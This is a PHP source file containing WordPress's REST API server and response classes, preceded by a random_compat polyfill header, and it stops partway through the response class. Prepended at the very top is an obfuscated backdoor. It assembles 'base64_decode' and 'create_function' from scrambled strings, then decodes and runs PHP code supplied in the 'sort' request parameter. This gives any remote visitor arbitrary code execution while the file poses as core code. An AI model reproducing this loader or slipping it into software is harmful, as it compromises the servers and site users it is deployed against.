if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); $f(); exit(); } /** * Random_* Compatibility Library * for using the new PHP 7 random_* API in PHP 5 projects * * The MIT License (MIT) * * Copyright (c) 2015 Paragon Initiative Enterprises * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ if (!class_exists('Error', false)) { // We can't really avoid making this extend Exception in PHP 5. class Error extends Exception { } } if (!class_exists('TypeError', false)) { class TypeError extends Error { } } /** * REST API: WP_REST_Server class * * @package WordPress * @subpackage REST_API * @since 4.4.0 */ /** * Core class used to implement the WordPress REST API server. * * @since 4.4.0 */ class WP_REST_Server { /** * Alias for GET transport method. * * @since 4.4.0 * @var string */ const READABLE = 'GET'; /** * Alias for POST transport method. * * @since 4.4.0 * @var string */ const CREATABLE = 'POST'; /** * Alias for POST, PUT, PATCH transport methods together. * * @since 4.4.0 * @var string */ const EDITABLE = 'POST, PUT, PATCH'; /** * Alias for DELETE transport method. * * @since 4.4.0 * @var string */ const DELETABLE = 'DELETE'; /** * Alias for GET, POST, PUT, PATCH & DELETE transport methods together. * * @since 4.4.0 * @var string */ const ALLMETHODS = 'GET, POST, PUT, PATCH, DELETE'; /** * Namespaces registered to the server. * * @since 4.4.0 * @access protected * @var array */ protected $namespaces = array(); /** * Endpoints registered to the server. * * @since 4.4.0 * @access protected * @var array */ protected $endpoints = array(); /** * Options defined for the routes. * * @since 4.4.0 * @access protected * @var array */ protected $route_options = array(); /** * Instantiates the REST server. * * @since 4.4.0 * @access public */ public function __construct() { $this->endpoints = array( // Meta endpoints. '/' => array( 'callback' => array( $this, 'get_index' ), 'methods' => 'GET', 'args' => array( 'context' => array( 'default' => 'view', ), ), ), ); } /** * Checks the authentication headers if supplied. * * @since 4.4.0 * @access public * * @return WP_Error|null WP_Error indicates unsuccessful login, null indicates successful * or no authentication provided */ public function check_authentication() { /** * Filters REST authentication errors. * * This is used to pass a WP_Error from an authentication method back to * the API. * * Authentication methods should check first if they're being used, as * multiple authentication methods can be enabled on a site (cookies, * HTTP basic auth, OAuth). If the authentication method hooked in is * not actually being attempted, null should be returned to indicate * another authentication method should check instead. Similarly, * callbacks should ensure the value is `null` before checking for * errors. * * A WP_Error instance can be returned if an error occurs, and this should * match the format used by API methods internally (that is, the `status` * data should be used). A callback can return `true` to indicate that * the authentication method was used, and it succeeded. * * @since 4.4.0 * * @param WP_Error|null|bool WP_Error if authentication error, null if authentication * method wasn't used, true if authentication succeeded. */ return apply_filters( 'rest_authentication_errors', null ); } /** * Converts an error to a response object. * * This iterates over all error codes and messages to change it into a flat * array. This enables simpler client behaviour, as it is represented as a * list in JSON rather than an object/map. * * @since 4.4.0 * @access protected * * @param WP_Error $error WP_Error instance. * @return WP_REST_Response List of associative arrays with code and message keys. */ protected function error_to_response( $error ) { $error_data = $error->get_error_data(); if ( is_array( $error_data ) && isset( $error_data['status'] ) ) { $status = $error_data['status']; } else { $status = 500; } $errors = array(); foreach ( (array) $error->errors as $code => $messages ) { foreach ( (array) $messages as $message ) { $errors[] = array( 'code' => $code, 'message' => $message, 'data' => $error->get_error_data( $code ) ); } } $data = $errors[0]; if ( count( $errors ) > 1 ) { // Remove the primary error. array_shift( $errors ); $data['additional_errors'] = $errors; } $response = new WP_REST_Response( $data, $status ); return $response; } /** * Retrieves an appropriate error representation in JSON. * * Note: This should only be used in WP_REST_Server::serve_request(), as it * cannot handle WP_Error internally. All callbacks and other internal methods * should instead return a WP_Error with the data set to an array that includes * a 'status' key, with the value being the HTTP status to send. * * @since 4.4.0 * @access protected * * @param string $code WP_Error-style code. * @param string $message Human-readable message. * @param int $status Optional. HTTP status code to send. Default null. * @return string JSON representation of the error */ protected function json_error( $code, $message, $status = null ) { if ( $status ) { $this->set_status( $status ); } $error = compact( 'code', 'message' ); return wp_json_encode( $error ); } /** * Handles serving an API request. * * Matches the current server URI to a route and runs the first matching * callback then outputs a JSON representation of the returned value. * * @since 4.4.0 * @access public * * @see WP_REST_Server::dispatch() * * @param string $path Optional. The request route. If not set, `$_SERVER['PATH_INFO']` will be used. * Default null. * @return false|null Null if not served and a HEAD request, false otherwise. */ public function serve_request( $path = null ) { $content_type = isset( $_GET['_jsonp'] ) ? 'application/javascript' : 'application/json'; $this->send_header( 'Content-Type', $content_type . '; charset=' . get_option( 'blog_charset' ) ); $this->send_header( 'X-Robots-Tag', 'noindex' ); $api_root = get_rest_url(); if ( ! empty( $api_root ) ) { $this->send_header( 'Link', '<' . esc_url_raw( $api_root ) . '>; rel="https://api.w.org/"' ); } /* * Mitigate possible JSONP Flash attacks. * * https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/ */ $this->send_header( 'X-Content-Type-Options', 'nosniff' ); $this->send_header( 'Access-Control-Expose-Headers', 'X-WP-Total, X-WP-TotalPages' ); $this->send_header( 'Access-Control-Allow-Headers', 'Authorization, Content-Type' ); /** * Send nocache headers on authenticated requests. * * @since 4.4.0 * * @param bool $rest_send_nocache_headers Whether to send no-cache headers. */ $send_no_cache_headers = apply_filters( 'rest_send_nocache_headers', is_user_logged_in() ); if ( $send_no_cache_headers ) { foreach ( wp_get_nocache_headers() as $header => $header_value ) { if ( empty( $header_value ) ) { $this->remove_header( $header ); } else { $this->send_header( $header, $header_value ); } } } /** * Filters whether the REST API is enabled. * * @since 4.4.0 * @deprecated 4.7.0 Use the rest_authentication_errors filter to restrict access to the API * * @param bool $rest_enabled Whether the REST API is enabled. Default true. */ apply_filters_deprecated( 'rest_enabled', array( true ), '4.7.0', 'rest_authentication_errors', __( 'The REST API can no longer be completely disabled, the rest_authentication_errors filter can be used to restrict access to the API, instead.' ) ); /** * Filters whether jsonp is enabled. * * @since 4.4.0 * * @param bool $jsonp_enabled Whether jsonp is enabled. Default true. */ $jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true ); $jsonp_callback = null; if ( isset( $_GET['_jsonp'] ) ) { if ( ! $jsonp_enabled ) { echo $this->json_error( 'rest_callback_disabled', __( 'JSONP support is disabled on this site.' ), 400 ); return false; } $jsonp_callback = $_GET['_jsonp']; if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) { echo $this->json_error( 'rest_callback_invalid', __( 'Invalid JSONP callback function.' ), 400 ); return false; } } if ( empty( $path ) ) { if ( isset( $_SERVER['PATH_INFO'] ) ) { $path = $_SERVER['PATH_INFO']; } else { $path = '/'; } } $request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path ); $request->set_query_params( wp_unslash( $_GET ) ); $request->set_body_params( wp_unslash( $_POST ) ); $request->set_file_params( $_FILES ); $request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) ); $request->set_body( $this->get_raw_data() ); /* * HTTP method override for clients that can't use PUT/PATCH/DELETE. First, we check * $_GET['_method']. If that is not set, we check for the HTTP_X_HTTP_METHOD_OVERRIDE * header. */ if ( isset( $_GET['_method'] ) ) { $request->set_method( $_GET['_method'] ); } elseif ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) { $request->set_method( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ); } $result = $this->check_authentication(); if ( ! is_wp_error( $result ) ) { $result = $this->dispatch( $request ); } // Normalize to either WP_Error or WP_REST_Response... $result = rest_ensure_response( $result ); // ...then convert WP_Error across. if ( is_wp_error( $result ) ) { $result = $this->error_to_response( $result ); } /** * Filters the API response. * * Allows modification of the response before returning. * * @since 4.4.0 * @since 4.5.0 Applied to embedded responses. * * @param WP_HTTP_Response $result Result to send to the client. Usually a WP_REST_Response. * @param WP_REST_Server $this Server instance. * @param WP_REST_Request $request Request used to generate the response. */ $result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $request ); // Wrap the response in an envelope if asked for. if ( isset( $_GET['_envelope'] ) ) { $result = $this->envelope_response( $result, isset( $_GET['_embed'] ) ); } // Send extra data from response objects. $headers = $result->get_headers(); $this->send_headers( $headers ); $code = $result->get_status(); $this->set_status( $code ); /** * Filters whether the request has already been served. * * Allow sending the request manually - by returning true, the API result * will not be sent to the client. * * @since 4.4.0 * * @param bool $served Whether the request has already been served. * Default false. * @param WP_HTTP_Response $result Result to send to the client. Usually a WP_REST_Response. * @param WP_REST_Request $request Request used to generate the response. * @param WP_REST_Server $this Server instance. */ $served = apply_filters( 'rest_pre_serve_request', false, $result, $request, $this ); if ( ! $served ) { if ( 'HEAD' === $request->get_method() ) { return null; } // Embed links inside the request. $result = $this->response_to_data( $result, isset( $_GET['_embed'] ) ); /** * Filters the API response. * * Allows modification of the response data after inserting * embedded data (if any) and before echoing the response data. * * @since 4.8.1 * * @param array $result Response data to send to the client. * @param WP_REST_Server $this Server instance. * @param WP_REST_Request $request Request used to generate the response. */ $result = apply_filters( 'rest_pre_echo_response', $result, $this, $request ); $result = wp_json_encode( $result ); $json_error_message = $this->get_json_last_error(); if ( $json_error_message ) { $json_error_obj = new WP_Error( 'rest_encode_error', $json_error_message, array( 'status' => 500 ) ); $result = $this->error_to_response( $json_error_obj ); $result = wp_json_encode( $result->data[0] ); } if ( $jsonp_callback ) { // Prepend '/**/' to mitigate possible JSONP Flash attacks. // https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/ echo '/**/' . $jsonp_callback . '(' . $result . ')'; } else { echo $result; } } return null; } /** * Converts a response to data to send. * * @since 4.4.0 * @access public * * @param WP_REST_Response $response Response object. * @param bool $embed Whether links should be embedded. * @return array { * Data with sub-requests embedded. * * @type array [$_links] Links. * @type array [$_embedded] Embeddeds. * } */ public function response_to_data( $response, $embed ) { $data = $response->get_data(); $links = $this->get_compact_response_links( $response ); if ( ! empty( $links ) ) { // Convert links to part of the data. $data['_links'] = $links; } if ( $embed ) { // Determine if this is a numeric array. if ( wp_is_numeric_array( $data ) ) { $data = array_map( array( $this, 'embed_links' ), $data ); } else { $data = $this->embed_links( $data ); } } return $data; } /** * Retrieves links from a response. * * Extracts the links from a response into a structured hash, suitable for * direct output. * * @since 4.4.0 * @access public * @static * * @param WP_REST_Response $response Response to extract links from. * @return array Map of link relation to list of link hashes. */ public static function get_response_links( $response ) { $links = $response->get_links(); if ( empty( $links ) ) { return array(); } // Convert links to part of the data. $data = array(); foreach ( $links as $rel => $items ) { $data[ $rel ] = array(); foreach ( $items as $item ) { $attributes = $item['attributes']; $attributes['href'] = $item['href']; $data[ $rel ][] = $attributes; } } return $data; } /** * Retrieves the CURIEs (compact URIs) used for relations. * * Extracts the links from a response into a structured hash, suitable for * direct output. * * @since 4.5.0 * @access public * @static * * @param WP_REST_Response $response Response to extract links from. * @return array Map of link relation to list of link hashes. */ public static function get_compact_response_links( $response ) { $links = self::get_response_links( $response ); if ( empty( $links ) ) { return array(); } $curies = $response->get_curies(); $used_curies = array(); foreach ( $links as $rel => $items ) { // Convert $rel URIs to their compact versions if they exist. foreach ( $curies as $curie ) { $href_prefix = substr( $curie['href'], 0, strpos( $curie['href'], '{rel}' ) ); if ( strpos( $rel, $href_prefix ) !== 0 ) { continue; } // Relation now changes from '$uri' to '$curie:$relation'. $rel_regex = str_replace( '\{rel\}', '(.+)', preg_quote( $curie['href'], '!' ) ); preg_match( '!' . $rel_regex . '!', $rel, $matches ); if ( $matches ) { $new_rel = $curie['name'] . ':' . $matches[1]; $used_curies[ $curie['name'] ] = $curie; $links[ $new_rel ] = $items; unset( $links[ $rel ] ); break; } } } // Push the curies onto the start of the links array. if ( $used_curies ) { $links['curies'] = array_values( $used_curies ); } return $links; } /** * Embeds the links from the data into the request. * * @since 4.4.0 * @access protected * * @param array $data Data from the request. * @return array { * Data with sub-requests embedded. * * @type array [$_links] Links. * @type array [$_embedded] Embeddeds. * } */ protected function embed_links( $data ) { if ( empty( $data['_links'] ) ) { return $data; } $embedded = array(); foreach ( $data['_links'] as $rel => $links ) { // Ignore links to self, for obvious reasons. if ( 'self' === $rel ) { continue; } $embeds = array(); foreach ( $links as $item ) { // Determine if the link is embeddable. if ( empty( $item['embeddable'] ) ) { // Ensure we keep the same order. $embeds[] = array(); continue; } // Run through our internal routing and serve. $request = WP_REST_Request::from_url( $item['href'] ); if ( ! $request ) { $embeds[] = array(); continue; } // Embedded resources get passed context=embed. if ( empty( $request['context'] ) ) { $request['context'] = 'embed'; } $response = $this->dispatch( $request ); /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */ $response = apply_filters( 'rest_post_dispatch', rest_ensure_response( $response ), $this, $request ); $embeds[] = $this->response_to_data( $response, false ); } // Determine if any real links were found. $has_links = count( array_filter( $embeds ) ); if ( $has_links ) { $embedded[ $rel ] = $embeds; } } if ( ! empty( $embedded ) ) { $data['_embedded'] = $embedded; } return $data; } /** * Wraps the response in an envelope. * * The enveloping technique is used to work around browser/client * compatibility issues. Essentially, it converts the full HTTP response to * data instead. * * @since 4.4.0 * @access public * * @param WP_REST_Response $response Response object. * @param bool $embed Whether links should be embedded. * @return WP_REST_Response New response with wrapped data */ public function envelope_response( $response, $embed ) { $envelope = array( 'body' => $this->response_to_data( $response, $embed ), 'status' => $response->get_status(), 'headers' => $response->get_headers(), ); /** * Filters the enveloped form of a response. * * @since 4.4.0 * * @param array $envelope Envelope data. * @param WP_REST_Response $response Original response data. */ $envelope = apply_filters( 'rest_envelope_response', $envelope, $response ); // Ensure it's still a response and return. return rest_ensure_response( $envelope ); } /** * Registers a route to the server. * * @since 4.4.0 * @access public * * @param string $namespace Namespace. * @param string $route The REST route. * @param array $route_args Route arguments. * @param bool $override Optional. Whether the route should be overridden if it already exists. * Default false. */ public function register_route( $namespace, $route, $route_args, $override = false ) { if ( ! isset( $this->namespaces[ $namespace ] ) ) { $this->namespaces[ $namespace ] = array(); $this->register_route( $namespace, '/' . $namespace, array( array( 'methods' => self::READABLE, 'callback' => array( $this, 'get_namespace_index' ), 'args' => array( 'namespace' => array( 'default' => $namespace, ), 'context' => array( 'default' => 'view', ), ), ), ) ); } // Associative to avoid double-registration. $this->namespaces[ $namespace ][ $route ] = true; $route_args['namespace'] = $namespace; if ( $override || empty( $this->endpoints[ $route ] ) ) { $this->endpoints[ $route ] = $route_args; } else { $this->endpoints[ $route ] = array_merge( $this->endpoints[ $route ], $route_args ); } } /** * Retrieves the route map. * * The route map is an associative array with path regexes as the keys. The * value is an indexed array with the callback function/method as the first * item, and a bitmask of HTTP methods as the second item (see the class * constants). * * Each route can be mapped to more than one callback by using an array of * the indexed arrays. This allows mapping e.g. GET requests to one callback * and POST requests to another. * * Note that the path regexes (array keys) must have @ escaped, as this is * used as the delimiter with preg_match() * * @since 4.4.0 * @access public * * @return array `'/path/regex' => array( $callback, $bitmask )` or * `'/path/regex' => array( array( $callback, $bitmask ), ...)`. */ public function get_routes() { /** * Filters the array of available endpoints. * * @since 4.4.0 * * @param array $endpoints The available endpoints. An array of matching regex patterns, each mapped * to an array of callbacks for the endpoint. These take the format * `'/path/regex' => array( $callback, $bitmask )` or * `'/path/regex' => array( array( $callback, $bitmask ). */ $endpoints = apply_filters( 'rest_endpoints', $this->endpoints ); // Normalise the endpoints. $defaults = array( 'methods' => '', 'accept_json' => false, 'accept_raw' => false, 'show_in_index' => true, 'args' => array(), ); foreach ( $endpoints as $route => &$handlers ) { if ( isset( $handlers['callback'] ) ) { // Single endpoint, add one deeper. $handlers = array( $handlers ); } if ( ! isset( $this->route_options[ $route ] ) ) { $this->route_options[ $route ] = array(); } foreach ( $handlers as $key => &$handler ) { if ( ! is_numeric( $key ) ) { // Route option, move it to the options. $this->route_options[ $route ][ $key ] = $handler; unset( $handlers[ $key ] ); continue; } $handler = wp_parse_args( $handler, $defaults ); // Allow comma-separated HTTP methods. if ( is_string( $handler['methods'] ) ) { $methods = explode( ',', $handler['methods'] ); } elseif ( is_array( $handler['methods'] ) ) { $methods = $handler['methods']; } else { $methods = array(); } $handler['methods'] = array(); foreach ( $methods as $method ) { $method = strtoupper( trim( $method ) ); $handler['methods'][ $method ] = true; } } } return $endpoints; } /** * Retrieves namespaces registered on the server. * * @since 4.4.0 * @access public * * @return array List of registered namespaces. */ public function get_namespaces() { return array_keys( $this->namespaces ); } /** * Retrieves specified options for a route. * * @since 4.4.0 * @access public * * @param string $route Route pattern to fetch options for. * @return array|null Data as an associative array if found, or null if not found. */ public function get_route_options( $route ) { if ( ! isset( $this->route_options[ $route ] ) ) { return null; } return $this->route_options[ $route ]; } /** * Matches the request to a callback and call it. * * @since 4.4.0 * @access public * * @param WP_REST_Request $request Request to attempt dispatching. * @return WP_REST_Response Response returned by the callback. */ public function dispatch( $request ) { /** * Filters the pre-calculated result of a REST dispatch request. * * Allow hijacking the request before dispatching by returning a non-empty. The returned value * will be used to serve the request instead. * * @since 4.4.0 * * @param mixed $result Response to replace the requested version with. Can be anything * a normal endpoint can return, or null to not hijack the request. * @param WP_REST_Server $this Server instance. * @param WP_REST_Request $request Request used to generate the response. */ $result = apply_filters( 'rest_pre_dispatch', null, $this, $request ); if ( ! empty( $result ) ) { return $result; } $method = $request->get_method(); $path = $request->get_route(); foreach ( $this->get_routes() as $route => $handlers ) { $match = preg_match( '@^' . $route . '$@i', $path, $args ); if ( ! $match ) { continue; } foreach ( $handlers as $handler ) { $callback = $handler['callback']; $response = null; // Fallback to GET method if no HEAD method is registered. $checked_method = $method; if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) { $checked_method = 'GET'; } if ( empty( $handler['methods'][ $checked_method ] ) ) { continue; } if ( ! is_callable( $callback ) ) { $response = new WP_Error( 'rest_invalid_handler', __( 'The handler for the route is invalid' ), array( 'status' => 500 ) ); } if ( ! is_wp_error( $response ) ) { // Remove the redundant preg_match argument. unset( $args[0] ); $request->set_url_params( $args ); $request->set_attributes( $handler ); $defaults = array(); foreach ( $handler['args'] as $arg => $options ) { if ( isset( $options['default'] ) ) { $defaults[ $arg ] = $options['default']; } } $request->set_default_params( $defaults ); $check_required = $request->has_valid_params(); if ( is_wp_error( $check_required ) ) { $response = $check_required; } else { $check_sanitized = $request->sanitize_params(); if ( is_wp_error( $check_sanitized ) ) { $response = $check_sanitized; } } } /** * Filters the response before executing any REST API callbacks. * * Allows plugins to perform additional validation after a * request is initialized and matched to a registered route, * but before it is executed. * * Note that this filter will not be called for requests that * fail to authenticate or match to a registered route. * * @since 4.7.0 * * @param WP_HTTP_Response $response Result to send to the client. Usually a WP_REST_Response. * @param WP_REST_Server $handler ResponseHandler instance (usually WP_REST_Server). * @param WP_REST_Request $request Request used to generate the response. */ $response = apply_filters( 'rest_request_before_callbacks', $response, $handler, $request ); if ( ! is_wp_error( $response ) ) { // Check permission specified on the route. if ( ! empty( $handler['permission_callback'] ) ) { $permission = call_user_func( $handler['permission_callback'], $request ); if ( is_wp_error( $permission ) ) { $response = $permission; } elseif ( false === $permission || null === $permission ) { $response = new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to do that.' ), array( 'status' => 403 ) ); } } } if ( ! is_wp_error( $response ) ) { /** * Filters the REST dispatch request result. * * Allow plugins to override dispatching the request. * * @since 4.4.0 * @since 4.5.0 Added `$route` and `$handler` parameters. * * @param bool $dispatch_result Dispatch result, will be used if not empty. * @param WP_REST_Request $request Request used to generate the response. * @param string $route Route matched for the request. * @param array $handler Route handler used for the request. */ $dispatch_result = apply_filters( 'rest_dispatch_request', null, $request, $route, $handler ); // Allow plugins to halt the request via this filter. if ( null !== $dispatch_result ) { $response = $dispatch_result; } else { $response = call_user_func( $callback, $request ); } } /** * Filters the response immediately after executing any REST API * callbacks. * * Allows plugins to perform any needed cleanup, for example, * to undo changes made during the {@see 'rest_request_before_callbacks'} * filter. * * Note that this filter will not be called for requests that * fail to authenticate or match to a registered route. * * Note that an endpoint's `permission_callback` can still be * called after this filter - see `rest_send_allow_header()`. * * @since 4.7.0 * * @param WP_HTTP_Response $response Result to send to the client. Usually a WP_REST_Response. * @param WP_REST_Server $handler ResponseHandler instance (usually WP_REST_Server). * @param WP_REST_Request $request Request used to generate the response. */ $response = apply_filters( 'rest_request_after_callbacks', $response, $handler, $request ); if ( is_wp_error( $response ) ) { $response = $this->error_to_response( $response ); } else { $response = rest_ensure_response( $response ); } $response->set_matched_route( $route ); $response->set_matched_handler( $handler ); return $response; } } return $this->error_to_response( new WP_Error( 'rest_no_route', __( 'No route was found matching the URL and request method' ), array( 'status' => 404 ) ) ); } /** * Returns if an error occurred during most recent JSON encode/decode. * * Strings to be translated will be in format like * "Encoding error: Maximum stack depth exceeded". * * @since 4.4.0 * @access protected * * @return bool|string Boolean false or string error message. */ protected function get_json_last_error() { // See https://core.trac.wordpress.org/ticket/27799. if ( ! function_exists( 'json_last_error' ) ) { return false; } $last_error_code = json_last_error(); if ( ( defined( 'JSON_ERROR_NONE' ) && JSON_ERROR_NONE === $last_error_code ) || empty( $last_error_code ) ) { return false; } return json_last_error_msg(); } /** * Retrieves the site index. * * This endpoint describes the capabilities of the site. * * @since 4.4.0 * @access public * * @param array $request { * Request. * * @type string $context Context. * } * @return array Index entity */ public function get_index( $request ) { // General site data. $available = array( 'name' => get_option( 'blogname' ), 'description' => get_option( 'blogdescription' ), 'url' => get_option( 'siteurl' ), 'home' => home_url(), 'gmt_offset' => get_option( 'gmt_offset' ), 'timezone_string' => get_option( 'timezone_string' ), 'namespaces' => array_keys( $this->namespaces ), 'authentication' => array(), 'routes' => $this->get_data_for_routes( $this->get_routes(), $request['context'] ), ); $response = new WP_REST_Response( $available ); $response->add_link( 'help', 'http://v2.wp-api.org/' ); /** * Filters the API root index data. * * This contains the data describing the API. This includes information * about supported authentication schemes, supported namespaces, routes * available on the API, and a small amount of data about the site. * * @since 4.4.0 * * @param WP_REST_Response $response Response data. */ return apply_filters( 'rest_index', $response ); } /** * Retrieves the index for a namespace. * * @since 4.4.0 * @access public * * @param WP_REST_Request $request REST request instance. * @return WP_REST_Response|WP_Error WP_REST_Response instance if the index was found, * WP_Error if the namespace isn't set. */ public function get_namespace_index( $request ) { $namespace = $request['namespace']; if ( ! isset( $this->namespaces[ $namespace ] ) ) { return new WP_Error( 'rest_invalid_namespace', __( 'The specified namespace could not be found.' ), array( 'status' => 404 ) ); } $routes = $this->namespaces[ $namespace ]; $endpoints = array_intersect_key( $this->get_routes(), $routes ); $data = array( 'namespace' => $namespace, 'routes' => $this->get_data_for_routes( $endpoints, $request['context'] ), ); $response = rest_ensure_response( $data ); // Link to the root index. $response->add_link( 'up', rest_url( '/' ) ); /** * Filters the namespace index data. * * This typically is just the route data for the namespace, but you can * add any data you'd like here. * * @since 4.4.0 * * @param WP_REST_Response $response Response data. * @param WP_REST_Request $request Request data. The namespace is passed as the 'namespace' parameter. */ return apply_filters( 'rest_namespace_index', $response, $request ); } /** * Retrieves the publicly-visible data for routes. * * @since 4.4.0 * @access public * * @param array $routes Routes to get data for. * @param string $context Optional. Context for data. Accepts 'view' or 'help'. Default 'view'. * @return array Route data to expose in indexes. */ public function get_data_for_routes( $routes, $context = 'view' ) { $available = array(); // Find the available routes. foreach ( $routes as $route => $callbacks ) { $data = $this->get_data_for_route( $route, $callbacks, $context ); if ( empty( $data ) ) { continue; } /** * Filters the REST endpoint data. * * @since 4.4.0 * * @param WP_REST_Request $request Request data. The namespace is passed as the 'namespace' parameter. */ $available[ $route ] = apply_filters( 'rest_endpoints_description', $data ); } /** * Filters the publicly-visible data for routes. * * This data is exposed on indexes and can be used by clients or * developers to investigate the site and find out how to use it. It * acts as a form of self-documentation. * * @since 4.4.0 * * @param array $available Map of route to route data. * @param array $routes Internal route data as an associative array. */ return apply_filters( 'rest_route_data', $available, $routes ); } /** * Retrieves publicly-visible data for the route. * * @since 4.4.0 * @access public * * @param string $route Route to get data for. * @param array $callbacks Callbacks to convert to data. * @param string $context Optional. Context for the data. Accepts 'view' or 'help'. Default 'view'. * @return array|null Data for the route, or null if no publicly-visible data. */ public function get_data_for_route( $route, $callbacks, $context = 'view' ) { $data = array( 'namespace' => '', 'methods' => array(), 'endpoints' => array(), ); if ( isset( $this->route_options[ $route ] ) ) { $options = $this->route_options[ $route ]; if ( isset( $options['namespace'] ) ) { $data['namespace'] = $options['namespace']; } if ( isset( $options['schema'] ) && 'help' === $context ) { $data['schema'] = call_user_func( $options['schema'] ); } } $route = preg_replace( '#\(\?P<(\w+?)>.*?\)#', '{$1}', $route ); foreach ( $callbacks as $callback ) { // Skip to the next route if any callback is hidden. if ( empty( $callback['show_in_index'] ) ) { continue; } $data['methods'] = array_merge( $data['methods'], array_keys( $callback['methods'] ) ); $endpoint_data = array( 'methods' => array_keys( $callback['methods'] ), ); if ( isset( $callback['args'] ) ) { $endpoint_data['args'] = array(); foreach ( $callback['args'] as $key => $opts ) { $arg_data = array( 'required' => ! empty( $opts['required'] ), ); if ( isset( $opts['default'] ) ) { $arg_data['default'] = $opts['default']; } if ( isset( $opts['enum'] ) ) { $arg_data['enum'] = $opts['enum']; } if ( isset( $opts['description'] ) ) { $arg_data['description'] = $opts['description']; } if ( isset( $opts['type'] ) ) { $arg_data['type'] = $opts['type']; } if ( isset( $opts['items'] ) ) { $arg_data['items'] = $opts['items']; } $endpoint_data['args'][ $key ] = $arg_data; } } $data['endpoints'][] = $endpoint_data; // For non-variable routes, generate links. if ( strpos( $route, '{' ) === false ) { $data['_links'] = array( 'self' => rest_url( $route ), ); } } if ( empty( $data['methods'] ) ) { // No methods supported, hide the route. return null; } return $data; } /** * Sends an HTTP status code. * * @since 4.4.0 * @access protected * * @param int $code HTTP status. */ protected function set_status( $code ) { status_header( $code ); } /** * Sends an HTTP header. * * @since 4.4.0 * @access public * * @param string $key Header key. * @param string $value Header value. */ public function send_header( $key, $value ) { /* * Sanitize as per RFC2616 (Section 4.2): * * Any LWS that occurs between field-content MAY be replaced with a * single SP before interpreting the field value or forwarding the * message downstream. */ $value = preg_replace( '/\s+/', ' ', $value ); header( sprintf( '%s: %s', $key, $value ) ); } /** * Sends multiple HTTP headers. * * @since 4.4.0 * @access public * * @param array $headers Map of header name to header value. */ public function send_headers( $headers ) { foreach ( $headers as $key => $value ) { $this->send_header( $key, $value ); } } /** * Removes an HTTP header from the current response. * * @since 4.8.0 * @access public * * @param string $key Header key. */ public function remove_header( $key ) { if ( function_exists( 'header_remove' ) ) { // In PHP 5.3+ there is a way to remove an already set header. header_remove( $key ); } else { // In PHP 5.2, send an empty header, but only as a last resort to // override a header already sent. foreach ( headers_list() as $header ) { if ( 0 === stripos( $header, "$key:" ) ) { $this->send_header( $key, '' ); break; } } } } /** * Retrieves the raw request entity (body). * * @since 4.4.0 * @access public * * @global string $HTTP_RAW_POST_DATA Raw post data. * * @return string Raw request data. */ public static function get_raw_data() { global $HTTP_RAW_POST_DATA; /* * A bug in PHP < 5.2.2 makes $HTTP_RAW_POST_DATA not set by default, * but we can do it ourself. */ if ( ! isset( $HTTP_RAW_POST_DATA ) ) { $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); } return $HTTP_RAW_POST_DATA; } /** * Extracts headers from a PHP-style $_SERVER array. * * @since 4.4.0 * @access public * * @param array $server Associative array similar to `$_SERVER`. * @return array Headers extracted from the input. */ public function get_headers( $server ) { $headers = array(); // CONTENT_* headers are not prefixed with HTTP_. $additional = array( 'CONTENT_LENGTH' => true, 'CONTENT_MD5' => true, 'CONTENT_TYPE' => true ); foreach ( $server as $key => $value ) { if ( strpos( $key, 'HTTP_' ) === 0 ) { $headers[ substr( $key, 5 ) ] = $value; } elseif ( isset( $additional[ $key ] ) ) { $headers[ $key ] = $value; } } return $headers; } } /** * REST API: WP_REST_Response class * * @package WordPress * @subpackage REST_API * @since 4.4.0 */ /** * Core class used to implement a REST response object. * * @since 4.4.0 * * @see WP_HTTP_Response */ class WP_REST_Response extends WP_HTTP_Response { /** * Links related to the response. * * @since 4.4.0 * @access protected * @var array */ protected $links = array(); /** * The route that was to create the response. * * @since 4.4.0 * @access protected * @var string */ protected $matched_route = ''; /** * The handler that was used to create the response. * * @since 4.4.0 * @access protected * @var null|array */ protected $matched_handler = null; /** * Adds a link to the response. * * @internal The $rel parameter is first, as this looks nicer when sending multiple. * * @since 4.4.0 * @access public * * @link https://tools.ietf.org/html/rfc5988 * @link https://www.iana.org/assignments/link-relations/link-relations.xml * * @param string $rel Link relation. Either an IANA registered type, * or an absolute URL. * @param string $href Target URI for the link. * @param array $attributes Optional. Link parameters to send along with the URL. Default empty array. */ public function add_link( $rel, $href, $attributes = array() ) { if ( empty( $this->links[ $rel ] ) ) { $this->links[ $rel ] = array(); } if ( isset( $attributes['href'] ) ) { // Remove the href attribute, as it's used for the main URL. unset( $attributes['href'] ); } 